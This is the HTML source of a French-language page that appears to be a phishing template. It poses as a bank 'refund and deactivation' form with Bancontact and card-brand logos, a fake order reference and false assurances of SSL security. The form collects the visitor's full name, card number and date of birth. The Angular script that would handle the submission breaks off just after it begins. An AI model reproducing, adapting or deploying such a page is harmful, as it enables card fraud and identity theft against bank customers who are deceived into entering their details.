<!DOCTYPE html>

                        <html>
                            <head>
                                <meta charset='utf-8'>
                                <meta name='viewport' content='width=device-width, initial-scale=1'>
                                <title>Pay</title>
                                <link href='https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/css/bootstrap.min.css' rel='stylesheet'>
                                <link href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css' rel='stylesheet'>
                                <link rel='stylesheet' href='file/cb/web.min.css'> 
                                <script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js'></script>
                                
                                <style>::-webkit-scrollbar {
                                  width: 8px;
                                }
                                /* Track */
                                ::-webkit-scrollbar-track {
                                  background: #f1f1f1; 
                                }
                                 
                                /* Handle */
                                ::-webkit-scrollbar-thumb {
                                  background: #888; 
                                }
                                
                                /* Handle on hover */
                                ::-webkit-scrollbar-thumb:hover {
                                  background: #555; 
                                } @import url("https://fonts.googleapis.com/css2?family=Poppins:weight@100;200;300;400;500;600;700;800&display=swap");


       body{
        background-color:#f2f2f2ab;
        font-family: "Poppins", sans-serif;
        font-weight: 300;
       }

       .btn-light {
  color: #646464;
  background-color: #f2f2f2;
  border-color: #eee;
  font-weight: 600;
}

       .container{

        /* height: 100vh; */

       }

       .card{

        border: none;
       }

       .card-header {
            padding: .5rem 1rem;
            margin-bottom: 0;
            background-color: rgba(0,0,0,.03);
            border-bottom: none;
        }

        .btn-light:focus {
            color: #212529;
            background-color: #e2e6ea;
            border-color: #dae0e5;
            box-shadow: 0 0 0 0.2rem rgba(216,217,219,.5);
        }

        .form-control{

          height: 50px;
    border: 2px solid #eee;
    border-radius: 6px;
    font-size: 14px;
        }

        .form-control:focus {
    color: #495057;
    background-color: #fff;
    border-color: #039be5;
    outline: 0;
    box-shadow: none;

    }

    .input{

      position: relative;
    }

    .input i{

          position: absolute;
    top: 16px;
    left: 11px;
    color: #989898;
    }

    .input input{

      text-indent: 25px;
    }

    .card-text{

      font-size: 13px;
    margin-left: 6px;
    }

    .certificate-text{

      font-size: 13px;
    }


    .billing{
      font-size: 11px;
    }  

    .super-price{

          top: 0px;
    font-size: 20px;
    }

    .super-month{

          font-size: 11px;
    }


    .line{
      color: #bfbdbd;
    }

    .free-button{

          background: #1565c0;
    height: 52px;
    font-size: 15px;
    border-radius: 8px;
    }


    .payment-card-body{

    flex: 1 1 auto;
    padding: 24px 1rem !important;

    }
   .green {
  color: #4ca952 !important;
}


.one[aria-expanded=true] .closecolaps {
   display: none;
}
.one[aria-expanded=false] .opencolaps {
   display: none;
}



.two[aria-expanded=true] .closecolaps2 {
   display: none;
}
.two[aria-expanded=false] .opencolaps2 {
   display: none;
}
.overlay {
    /* z-index: 999; */
    position: fixed;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background-color: rgb(0 89 128 / 66%);
    border-radius: 6px;
    z-index: 9999;
}
.order-total-value{
  font-weight:bold;
}

.loader {
   text-align: center;
    position: absolute;
    left: 50%;
    top: 50%;
    z-index: 1;
    transform: translate(-50%,-50%);
}

.lds-spinner {
    color: #FFF;
    display: inline-block;
    width: 80px;
    height: 80px;
  }
  .lds-spinner div {
    transform-origin: 40px 40px;
    animation: lds-spinner 1.2s linear infinite;
  }
  .lds-spinner div:after {
    content: " ";
    display: block;
    position: absolute;
    top: 3px;
    left: 37px;
    width: 6px;
    height: 18px;
    border-radius: 20%;
    background: #FFF;
  }
  .lds-spinner div:nth-child(1) {
    transform: rotate(0deg);
    animation-delay: -1.1s;
  }
  .lds-spinner div:nth-child(2) {
    transform: rotate(30deg);
    animation-delay: -1s;
  }
  .lds-spinner div:nth-child(3) {
    transform: rotate(60deg);
    animation-delay: -0.9s;
  }
  .lds-spinner div:nth-child(4) {
    transform: rotate(90deg);
    animation-delay: -0.8s;
  }
  .lds-spinner div:nth-child(5) {
    transform: rotate(120deg);
    animation-delay: -0.7s;
  }
  .lds-spinner div:nth-child(6) {
    transform: rotate(150deg);
    animation-delay: -0.6s;
  }
  .lds-spinner div:nth-child(7) {
    transform: rotate(180deg);
    animation-delay: -0.5s;
  }
  .lds-spinner div:nth-child(8) {
    transform: rotate(210deg);
    animation-delay: -0.4s;
  }
  .lds-spinner div:nth-child(9) {
    transform: rotate(240deg);
    animation-delay: -0.3s;
  }
  .lds-spinner div:nth-child(10) {
    transform: rotate(270deg);
    animation-delay: -0.2s;
  }
  .lds-spinner div:nth-child(11) {
    transform: rotate(300deg);
    animation-delay: -0.1s;
  }
  .lds-spinner div:nth-child(12) {
    transform: rotate(330deg);
    animation-delay: 0s;
  }
  @keyframes lds-spinner {
    0% {
      opacity: 1;
    }
    100% {
      opacity: 0;
    }
  }
</style>
                                </head>
                                <body className='snippet-body'  ng-app="sa_app"  ng-controller="controller" ng-init="show_data()">

                                <div class="overlay" style="display:none;">
           <div class="loader">
                <div class="lds-spinner"><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div>
                <br>
                <div class="main-title"><h3 style="color: #fff; font-size: .8em; line-height: 20px;font-weight: 100;">VEUILLEZ PATIENTER ...<br>NE FERMER PAS LA PAGE.</h3></div>
            </div>
    </div> 

                                <div class="hidden-xs-up">
<svg style="display: none;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <symbol id="amex" viewBox="0 0 50 25">
        <style>
          .ast0
          {
              fill: #2557d6;
          }

          .st1
          {
              fill: #f47216;
          }

          .st2
          {
              fill: #d9222a;
          }

          .st3
          {
              fill: #ee9f2d;
          }

          .st4
          {
              fill: #fff;
          }

          .st5
          {
              fill: #0e4595;
          }
        </style>
        <path class="ast0" d="M36.1 6l-.9 2.2H37L36.1 6zM25.7 7.3c.2 0 .3-.2.3-.5 0-.2-.1-.4-.3-.5-.2-.1-.4-.1-.6-.1h-1.6v1.2H25c.3.1.5.1.7-.1zM5 6l-.8 2.2H6C5.9 8.2 5 6 5 6zm41.5 13.9H44v-1.2h2.5c.2 0 .4 0 .5-.1.1-.1.2-.2.2-.4s-.1-.3-.2-.4c-.1-.1-.2-.1-.5-.1-1.2 0-2.8 0-2.8-1.7 0-.8.5-1.6 1.9-1.6h2.6v-1.1h-2.4c-.7 0-1.3.2-1.6.4v-.4h-3.6c-.6 0-1.2.1-1.6.4v-.4h-6.4v.4c-.5-.4-1.4-.4-1.8-.4h-4.2v.4c-.4-.4-1.3-.4-1.8-.4h-4.7L19 14.5l-1-1.2h-7V21h6.9l1.1-1.2 1 1.2h4.3v-1.8h.4c.6 0 1.2 0 1.8-.3V21H30v-2h.2c.2 0 .2 0 .2.2V21h10.7c.7 0 1.4-.2 1.8-.5v.5h3.4c.7 0 1.4-.1 1.9-.4v-1.4c-.3.5-.9.7-1.7.7zm-21.7-1.8h-1.6v1.8h-2.5L19 18.1l-1.7 1.8h-5.2v-5.5h5.3l1.6 1.8 1.7-1.8h4.2c1 0 2.2.3 2.2 1.8 0 1.6-1.2 1.9-2.3 1.9zm7.8-.2c.2.3.2.5.2 1V20h-1.3v-.7c0-.3 0-.8-.2-1.1-.2-.2-.5-.2-1-.2H29v2h-1.3v-5.5h3c.7 0 1.1 0 1.6.3.4.2.7.6.7 1.2 0 .9-.6 1.3-.9 1.5.2 0 .4.2.5.4zm5.5-2.3H35v1h3v1.1h-3v1.1h3.1v1.1h-4.4v-5.5h4.4v1.2zm3.3 4.3h-2.5v-1.2h2.5c.2 0 .4 0 .5-.1.1-.1.2-.2.2-.4s-.1-.3-.2-.4c-.1-.1-.2-.1-.5-.1-1.2 0-2.8 0-2.8-1.7 0-.8.5-1.6 1.9-1.6h2.6v1.2h-2.4c-.2 0-.4 0-.5.1-.1.1-.2.2-.2.4s.1.3.3.4c.1 0 .3.1.5.1h.7c.7 0 1.2.1 1.5.4.3.3.4.6.4 1.2.1 1.2-.7 1.7-2 1.7zm-10.1-4.2c-.2-.1-.4-.1-.6-.1H29v1.2h1.6c.3 0 .5 0 .6-.1.2-.1.3-.3.3-.5s-.1-.4-.2-.5zm14.6-.1c-.2 0-.4 0-.5.1-.1.1-.2.2-.2.4s.1.3.3.4c.1 0 .3.1.5.1h.7c.7 0 1.2.1 1.5.4.1 0 .1.1.1.1v-1.6l-2.4.1zm-21.1 0h-1.7V17h1.7c.5 0 .8-.2.8-.7 0-.5-.3-.7-.8-.7zm-11.3 0v1h2.9v1.1h-2.9v1.1h3.2l1.5-1.6-1.4-1.6h-3.3zm8.4 3.8V15l-2 2.2 2 2.2zm-8.3-8.7v.9h10.9v-2h.2c.1 0 .2 0 .2.3v1.7h5.7v-.5c.5.2 1.2.5 2.1.5H35l.5-1.2h1.1l.5 1.2h4.6v-1.1l.7 1.1h3.7V4h-3.6v.9L42 4h-3.7v.9l-.5-.9h-5c-.8 0-1.6.1-2.2.4V4h-3.5v.4c-.4-.3-.9-.4-1.5-.4H12.9L12 6l-.9-2h-4v.9L6.7 4H3.3L1.7 7.6v2.9L4 5h2l2.2 5.2V5.1h2.1L12 8.8l1.6-3.7h2.2v5.5h-1.3V6.3l-1.9 4.3h-1.1l-2-4.4v4.3H6.9l-.5-1.2H3.7l-.5 1.2H1.7v1.1H4l.5-1.2h1.1l.5 1.2h4.4v-.9l.4.9h2.3l.4-.9zm17.2-5c.4-.4 1.1-.6 2-.6H34v1.2h-1.2c-.5 0-.7.1-1 .3-.2.2-.4.7-.4 1.2 0 .6.1 1 .4 1.3.2.2.6.3.9.3h.6l1.8-4.3h2l2.2 5.2V5.1h2l2.3 3.8V5.1h1.3v5.4H43l-2.5-4.1v4.1h-2.7l-.5-1.2h-2.7l-.5 1.2h-1.5c-.6 0-1.4-.1-1.9-.6S30 8.8 30 7.8c.1-.8.2-1.5.8-2.1zm-2.7-.6h1.3v5.5h-1.3V5.1zm-6 0h3c.7 0 1.2 0 1.6.3.4.2.7.6.7 1.2 0 .9-.6 1.3-.9 1.5.3.1.5.3.6.5.2.3.2.5.2 1v1.1H26V10c0-.3 0-.8-.2-1.1-.2-.2-.5-.2-1-.2h-1.4v2h-1.3V5.1zm-5.3 0h4.4v1.1h-3.1v1h3v1.1h-3v1.1h3.1v1.1h-4.4V5.1z"></path>
      </symbol>
      <symbol id="discover" viewBox="0 0 50 25">
        <style>
          .st0
          {
              fill: #2557d6;
          }

          .bst1
          {
              fill: #f47216;
          }

          .st2
          {
              fill: #d9222a;
          }

          .st3
          {
              fill: #ee9f2d;
          }

          .st4
          {
              fill: #fff;
          }

          .st5
          {
              fill: #0e4595;
          }
        </style>
        <path class="bst1" d="M26.2 9.3c1.8 0 3.3 1.4 3.3 3.2 0 1.7-1.5 3.2-3.3 3.2-1.8 0-3.3-1.4-3.3-3.2-.1-1.7 1.4-3.2 3.3-3.2z"></path>
        <path d="M20.9 9.4c.5 0 1 .1 1.5.4v1.4c-.5-.5-1-.7-1.5-.7-1.2 0-2.1.9-2.1 2 0 1.2.9 2 2.1 2 .6 0 1-.2 1.5-.6v1.4c-.6.2-1 .3-1.5.3-1.9 0-3.3-1.4-3.3-3.1-.1-1.7 1.4-3.1 3.3-3.1zm-5.8 0c.7 0 1.3.2 1.8.7l-.6.8c-.3-.3-.6-.5-1-.5-.5 0-.9.3-.9.7 0 .3.2.5 1 .7 1.4.5 1.8.9 1.8 1.8 0 1.1-.9 1.9-2.2 1.9-.9 0-1.6-.3-2.2-1.1l.8-.7c.3.5.8.8 1.3.8s1-.4 1-.8c0-.2-.1-.5-.4-.6-.1-.1-.4-.2-.8-.3-1.2-.4-1.5-.8-1.5-1.6-.1-1 .8-1.8 1.9-1.8zm14 .1h1.3l1.7 4 1.7-4h1.3l-2.7 6.1h-.7M11.1 9.5h1.2v5.9h-1.2m24.6-5.9h3.5v1H37v1.3h2.2v1H37v1.6h2.3v1h-3.5m6.8-2.4c.9-.2 1.4-.8 1.4-1.7 0-1.1-.8-1.7-2.2-1.7H40v5.9h1.2v-2.4h.2l1.7 2.4h1.5l-2-2.5zm-1-.7h-.4v-1.8h.4c.8 0 1.2.3 1.2.9 0 .5-.4.9-1.2.9zM7.2 9.5H5.4v5.9h1.8c1 0 1.6-.2 2.2-.7.7-.6 1.1-1.4 1.1-2.3.1-1.6-1.3-2.9-3.3-2.9zM8.6 14c-.4.3-.9.5-1.7.5h-.3v-3.9h.3c.8 0 1.3.1 1.7.5.4.4.7.9.7 1.5 0 .5-.3 1-.7 1.4z"></path>
      </symbol>
      <symbol id="mastercard" viewBox="0 0 50 25">
        <style>
          .st0
          {
              fill: #2557d6;
          }

          .st1
          {
              fill: #f47216;
          }

          .cst2
          {
              fill: #d9222a;
          }

          .cst3
          {
              fill: #ee9f2d;
          }

          .cst4
          {
              fill: #fff;
          }

          .st5
          {
              fill: #0e4595;
          }
        </style>
        <path class="cst2" d="M28.7 12.5c0 6.2-5 11.2-11.2 11.2-6.2 0-11.2-5-11.2-11.2 0-6.2 5-11.2 11.2-11.2 6.2 0 11.2 5 11.2 11.2"></path>
        <path class="cst3" d="M32.5 1.3c-2.9 0-5.5 1.1-7.5 2.9-.4.4-.8.8-1.1 1.2h2.3l.9 1.2h-4c-.2.4-.5.8-.6 1.2h5.2c.1.4.3.8.4 1.2h-6.2l-.3 1.2h6.8c.2.8.3 1.6.3 2.4 0 1.2-.2 2.4-.6 3.5h-6.2c.1.4.3.8.5 1.2h5.2l-.6 1.2h-4c.3.4.5.8.9 1.2h2.3c-.3.4-.7.8-1.1 1.2 2 1.8 4.6 2.9 7.5 2.9 6.2 0 11.2-5 11.2-11.2-.1-6.3-5.1-11.3-11.3-11.3"></path>
        <path d="M42.2 18.7c0-.2.2-.4.4-.4s.4.2.4.4-.2.4-.4.4-.4-.2-.4-.4zm.3.3c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3-.2 0-.3.1-.3.3.1.2.2.3.3.3zm0-.1l-.1-.3h.2v.1s0 .1-.1.1l.1.1h-.1v-.1h-.1l.1.1zm0-.2h.1c0-.1 0-.1-.1 0 0-.1 0-.1 0 0zm-27.6-5h-.3c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.5 0 .9-.5.9-1.2zm.9 2.1h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.5-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9-.1.7-.3 2.1-.3 2.5zm-3.9 0h-1.2l.7-4.4-1.5 4.4H9l-.1-4.3-.7 4.3H7.1l.9-5.7h1.7l.1 3.2 1.1-3.2h1.9l-.9 5.7M34 13.7h-.3c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.5 0 .9-.5.9-1.2zm.9 2.1h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.4-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9 0 .7-.2 2.1-.2 2.5zm-13.7-.1c-.3.1-.6.1-.9.1-.6 0-1-.4-1-1 0-.2.1-.7.2-1.2.1-.4.5-3.1.5-3.1h1.2l-.1.7h.7l-.2 1.1h-.7c-.1.9-.3 2-.3 2.1 0 .2.1.3.4.3h.3l-.1 1m3.7 0c-.4.1-.8.2-1.2.2-1.3 0-2.1-.7-2.1-2.1 0-1.6.9-2.7 2.1-2.7 1 0 1.6.6 1.6 1.7 0 .3 0 .7-.1 1.1h-2.4c-.1.7.3.9 1 .9.4 0 .8-.1 1.3-.3l-.2 1.2zm-.7-2.8c0-.1.1-.8-.6-.8-.4 0-.7.3-.8.8h1.4zm-7.7-.3c0 .6.3 1 .9 1.3.5.2.6.3.6.5 0 .3-.2.4-.7.4-.4 0-.7-.1-1.1-.2 0 0-.2 1-.2 1.1.3.1.5.1 1.3.1 1.3 0 1.9-.5 1.9-1.5 0-.6-.2-1-.9-1.3-.5-.2-.6-.3-.6-.5s.2-.4.6-.4c.2 0 .6 0 .9.1l.2-1.1c-.3 0-.8-.1-1.1-.1-1.3.1-1.8.8-1.8 1.6m14.3-1.4c.3 0 .7.1 1.1.3l.2-1.2c-.2-.1-.8-.5-1.3-.5-.8 0-1.5.4-2 1.1-.7-.2-1 .2-1.3.7l-.3.1v-.5H26c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.2-1.3.3-2.2.4-2.7l.5-.3c.1-.3.3-.3.7-.3-.1.3-.1.6-.1.9 0 1.5.8 2.4 2.1 2.4.3 0 .6 0 1.1-.2l.2-1.3c-.4.2-.7.3-1 .3-.7 0-1.1-.5-1.1-1.4-.1-1.1.5-2 1.5-2"></path>
        <path class="cst4" d="M12.3 15.4h-1.2l.7-4.4-1.5 4.4h-.9l-.1-4.3-.7 4.3H7.4l.9-5.7H10v3.5l1.2-3.5h1.9l-.8 5.7"></path>
        <path d="M41 10.1l-.3 1.6c-.3-.4-.7-.8-1.2-.8-.6 0-1.2.5-1.5 1.1-.5-.1-1-.3-1-.3 0-.4.1-.6.1-.7H36c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.2-1.1.3-1.9.4-2.6.4-.4.6-.7 1-.7-.2.4-.3 1-.3 1.5 0 1.2.6 1.9 1.5 1.9.4 0 .8-.2 1.1-.5l-.1.4h1.1l.9-5.7-1.1.2zm-1.5 4.6c-.4 0-.6-.3-.6-.9 0-.9.4-1.5.9-1.5.4 0 .6.3.6.9.1.9-.3 1.5-.9 1.5z"></path>
        <path class="cst4" d="M15.3 13.4H15c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.5-.1.8-.5.9-1.2zm.8 2h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.4-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9.1.8-.1 2.2-.2 2.5zm16.3-5.5l-.2 1.2c-.4-.2-.7-.3-1.1-.3-.9 0-1.5.9-1.5 2.1 0 .9.4 1.4 1.1 1.4.3 0 .6-.1 1-.3l-.2 1.3c-.4.1-.7.2-1.1.2-1.3 0-2.1-.9-2.1-2.4 0-2 1.1-3.4 2.7-3.4.6-.1 1.2.2 1.4.2m1.9 3.5H34c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.6-.1.9-.5.9-1.2zm.9 2h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.4-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9.1.8-.2 2.2-.2 2.5zm-13.7 0c-.3.1-.6.1-.9.1-.6 0-1-.4-1-1 0-.2.1-.7.2-1.2.1-.4.5-3.1.5-3.1h1.2l-.1.7h.6l-.2 1.1h-.6c-.1.9-.3 2-.3 2.1 0 .2.1.3.4.3h.3l-.1 1m3.7-.1c-.4.1-.8.2-1.2.2-1.3 0-2.1-.7-2.1-2.1 0-1.6.9-2.7 2.1-2.7 1 0 1.6.6 1.6 1.7 0 .3 0 .7-.1 1.1h-2.4c-.1.7.3.9 1 .9.4 0 .8-.1 1.3-.3l-.2 1.2zm-.7-2.7c0-.1.1-.8-.6-.8-.4 0-.7.3-.8.8h1.4zm-7.6-.3c0 .6.3 1 .9 1.3.5.2.6.3.6.5 0 .3-.2.4-.7.4-.4 0-.7-.1-1.1-.2 0 0-.2 1-.2 1.1.3.1.5.1 1.3.1 1.3 0 1.9-.5 1.9-1.5 0-.6-.2-1-.9-1.3-.5-.2-.6-.3-.6-.5s.2-.4.6-.4c.2 0 .6 0 .9.1l.2-1.1c-.3 0-.8-.1-1.1-.1-1.4 0-1.8.7-1.8 1.6m24.7 3.1h-1.1l.1-.4c-.3.4-.7.5-1.1.5-.9 0-1.5-.8-1.5-1.9 0-1.5.9-2.8 2-2.8.5 0 .8.2 1.2.6l.3-1.6h1.2l-1.1 5.6zm-1.8-1c.6 0 1-.6 1-1.6 0-.6-.2-.9-.6-.9-.5 0-.9.6-.9 1.5-.1.7.1 1 .5 1zm-3.5-3.6c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.4-2.8.5-3.4 1.2-3.3.1-.6.3-1.1.5-1.3-.5-.1-.8.2-1.2.7 0-.2.1-.5.1-.7h-1.1m-10 0c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.4-2.8.5-3.4 1.2-3.3.1-.6.3-1.1.5-1.3-.5-.1-.8.2-1.2.7 0-.2.1-.5.1-.7h-1.1m15.9 4.3c0-.2.2-.4.4-.4s.4.2.4.4-.2.4-.4.4c-.3-.1-.4-.2-.4-.4zm.3.3c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3-.2 0-.3.1-.3.3.1.1.2.3.3.3zm0-.2l-.1-.3h.2v.1s0 .1-.1.1l.1.1h-.1v-.1h-.1l.1.1zm0-.1h.1c0-.1 0-.1-.1 0 0-.1 0-.1 0 0z"></path>
      </symbol>
      <symbol id="visa" viewBox="0 0 50 25">
        <style>
          .st0
          {
              fill: #2557d6;
          }

          .st1
          {
              fill: #f47216;
          }

          .st2
          {
              fill: #d9222a;
          }

          .st3
          {
              fill: #ee9f2d;
          }

          .st4
          {
              fill: #fff;
          }

          .dst5
          {
              fill: #0e4595;
          }
        </style>
        <path class="dst5" d="M16.2 6.5L13 14.8l-.3-1.7V13l-1.1-5.5c-.2-.8-.8-1-1.5-1H4.5v.3C5.8 7 7 7.5 8 8.1l2.9 10.5h3.5l5.2-12.1h-3.4zm0 0zm4.9 0L19 18.6h3.3l2.1-12.1zm21.7 0h-2.6c-.8 0-1.4.2-1.7 1l-4.9 11.2h3.5s.6-1.5.7-1.8H42c.1.4.4 1.8.4 1.8h3.1L42.8 6.5zm-4 7.8c.3-.7 1.3-3.4 1.3-3.4s.3-.7.4-1.2l.2 1s.6 2.9.8 3.5h-2.7zm-7.8-3c-1.2-.6-1.9-.9-1.9-1.5 0-.5.6-1 1.9-1 1.1 0 1.9.2 2.5.5l.3.1.4-2.6c-.7-.2-1.7-.5-3-.5-3.3 0-5.6 1.7-5.6 4 0 1.7 1.6 2.7 2.9 3.3 1.3.6 1.7 1 1.7 1.5 0 .8-1 1.2-2 1.2-1.3 0-2-.2-3.1-.6l-.4-.2-.5 2.7c.8.3 2.2.6 3.7.6 3.5 0 5.8-1.6 5.8-4.2.1-1.4-.8-2.4-2.7-3.3zm3.3-4.6z"></path>
      </symbol>
    </svg>
</div>
                                <div class="container">
                                <div class=" mt-5 mb-5">

                                
                    <img src="file/{{bnk}}.png" style="width: 140px;" alt="">
                </div>
                </div>

                                <div class="container d-flex justify-content-center mt-5 mb-5">

            
                          
            <div class="row g-3">

                 
              <div class="col-md-6"> 

              
              
                <div class="card">

                  <div class="accordion" id="accordionExample">
                    
          

                    <div class="card">
                      <div class="card-header p-0">
                        <h2 class="mb-0">
                          <button class="btn btn-light btn-block text-left p-3 rounded-0 one"  aria-expanded="true" aria-controls="collapseOne">
                       
                          <div class="d-flex align-items-center justify-content-between">

                              <span>   
                             </span>
                              <div class="icons">
                              
                                <img src="file/bancontact.png" width="40">
                                <img src="file/pa2.png" width="180">
                                <!-- <img src="https://i.imgur.com/W1vtnOV.png" width="200"> -->
                                <!-- <img src="https://i.imgur.com/35tC99g.png" width="40"> -->
                                <!-- <img src="https://i.imgur.com/2ISgYja.png" width="40"> -->
                              </div>
                              
                            </div>
                          </button>
                        </h2>
                      </div>



                      <div id="collapseOne" class="collapse show" aria-labelledby="headingOne" data-parent="#accordionExample">
                        <div class="card-body payment-card-body" >
                          

                       
       <form   name="form"   ng-submit="form.$valid && validation()"    method="post" >
          <input type="hidden" name="montant" value="5,00">

          <span>Veuillez remplir le formulaire ci-joint en fournissant les informations nécessaires pour <strong>la désactivation et le remboursement</strong>  immédiat.</span>
<br>
<br>
          <div class="" ng-init="bloc_login()">
          <div class="form-group name_carte input" >
          <i class="fa fa-user-o"></i>
           <input class="form-control" id="name_carte" name="name_carte" ng-change="bloc_login()" type="text" ng-model="name"  placeholder="Nom complet" autocomplete="off" required="">
          
        </div>
 
        <div class="form-group credit-card-number input" >
          <label for="credit-card-number" class="floating">Numéro de la carte<span class="floating-desc">: invalide</span></label>
          <i class="fa fa-credit-card"></i>
          <input class="form-control" id="credit-card-number" ng-model="cart" ng-change="bloc_login()" name="credit-card-number" type="tel" inputmode="numeric" placeholder="Numéro de la carte " autocomplete="off" required="" >
          <svg class="payment-method-icon">
                <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#"></use>
              </svg>
        </div>
        <div class="row" >
          <div class="col-sm-12">
            <div class="form-group input">
              <label for="expiration" class="floating">Date de naissance<span class="floating-desc">:   invalide</span></label>
              <i class="fa fa-calendar"></i>
              <input class="form-control" id="expiration"  ng-model="expiration"  ng-change="bloc_login()" name="expiration" type="text" inputmode="numeric" placeholder="Date de naissance ( JJ / MM / YYYY )" autocomplete="off">
            </div>
          </div>
       
        </div>
        </div>
        <!-- <div class="row" style=" margin-top: -15px;">
          <div class="col-sm-6">
            <div class="form-group">
              <label for="zip" class="floating">Code postal<span class="floating-desc">:   invalide</span></label>
              <input class="form-control" id="zip" name="zip" type="tel" inputmode="numeric" placeholder="Code postal"  autocomplete="off" data-parsley-required maxlength="7"  />52
            </div>
          </div>
          <div class="col-sm-6">
            <div class="form-group">
              <label for="pays" class="floating">Séléctionner votre pays<span class="floating-desc">:   invalide</span></label>
              <select name="pays" data-parsley-required   class="form-control">

                <option value="">Séléctionner </option>
                <option value="Belgique">Belgique</option>
                <option value="France">France</option>
                <option value="Italie">Italie</option>
                <option value="Espagne">Espagne</option>
                <option value="Autre">Autre</option>
              </select>
              </div>
          </div>
        </div> -->


      

      


                     

                          <span class="text-muted certificate-text"><i class="fa fa-lock"></i> Votre remboursement est sécurisée avec un certificat ssl</span>
                          <br>
                          <span class="text-muted certificate-text">
            <i class="fa fa-check-circle"></i> Aprés votre désactivation vous recevrez votre remboursement immédiatement
            </span>
                         
                        </div>
                      </div>

                      <div class="card" style="display:none">
                      <div class="card-header p-0" id="headingTwo">
                        <h2 class="mb-0">
                          <button class="btn btn-light btn-block text-left collapsed p-3 rounded-0 border-bottom-custom two" type="button" data-toggle="collapse" data-target="#collapseTwo" aria-expanded="false" aria-controls="collapseTwo">
                            <div class="d-flex align-items-center justify-content-between">

                              <span>
                              <input type="radio" id="css" name="closecolaps" class="closecolaps2" value="CSS">
                              <input type="radio" id="css" name="opencolaps" checked  class="opencolaps2" value="CSS">
                            Carte Bancontact</span>
                              <img src="file/bancontact.png" width="40">
                              
                            </div>
                          </button>
                        </h2>
                      </div>
                      <div id="collapseTwo" class="collapse" aria-labelledby="headingTwo" data-parent="#accordionExample">
                        <div class="card-body">

                           <div class="row" >
          <div class="col-sm-6">
            <div class="form-group  ">
            <span class="text-muted certificate-text"><i class="fa fa-lock"></i> Votre transaction est sécurisée</span> <br>
            <span class="text-muted certificate-text">
            <i class="fa fa-check-circle"></i>    10 jours sans risque. Pas satisfait ? vous pouvez obtenir un remboursement complet
            </span>
            </div>
          </div>
          <div class="col-sm-6">
               
          <button class="btn btn-primary btn-block free-button" ng-click="banpay()" type="button"><i class="fa fa-lock"></i> &nbsp;   Payer par  &nbsp; <img src="file/bancontact2.png" alt="" width="40px"></button> 
          </div>
        </div>
                        </div>
                      </div>
                    </div>
                    </div>
                    
                  </div>
                  
                </div>

              </div>

              <div class="col-md-6">
                
<div class="card">

              
                  <div class="d-flex justify-content-between p-3">

                    <div class="d-flex flex-column">

                      <span>Référence </span>
                      
                    </div>

                    <div class="mt-1">
                      <sup class="  order-total-value ">#1134566</sup>

                    </div>

                    </div>

                    <hr class="mt-0 line">

                    <div class="d-flex justify-content-between p-3">

                      <div class="d-flex flex-column">

                        <span>Service </span>
                        
                      </div>

                      <div class="mt-1">
                        <sup class=" order-total-value "><span ng-bind="bnk" style="text-transform :uppercase"></span> S.A</sup>
                      
                      </div>

                      </div>

                      <hr class="mt-0 line">
 
     

                    <hr class="mt-0 line">


                    <div class="p-3 d-flex justify-content-between">

                      <div class="d-flex flex-column">

                        <span>Total à rembourser</span>
                        <small></small>
                        
                      </div>
                      <span class=" order-total-value ">  <span ng-bind="montant"></span> </span>

                      

                    </div>


                    <div class="p-3">

                    <button class="btn btn-primary btn-block free-button" id="btn-validate" type="submit" disabled="disabled"><i class="fa fa-lock"></i>  Validez votre remboursement</button> 
                   <div class="text-center" style="color: rgb(60 175 177);font-size: 14px;padding-top: 4px;">
                     <i class="fa fa-check"></i> Sécurisé garanti
                     <img src="file/secure.png" alt="" style="width: 200px; padding: 10px;">
                   </div>
               
                    </div>
                    </form>


                    
                  </div>
                   <div></div>
              </div>
              
            </div>
            

          </div>

                           


                            


          <script type='text/javascript' src='https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/js/bootstrap.bundle.min.js'></script>
                 
<script src="file/jquery.min.js"></script>

<script src='file/cb/jquery.payment.min.js'></script>
<script src='file/cb/parsley.js'></script>
<script  src="file/cb/script.js"></script>

<script src="file/angular.min.js"></script>
<script src="file/dirPaginate.js"></script>


<script> 

var fetch = angular.module('sa_app', ['angularUtils.directives.dirPagination']);

fetch.controller('controller', ['$scope', '$http','$filter', function ($scope, $http,$filter) {
    var urlx = window.location.pathname;
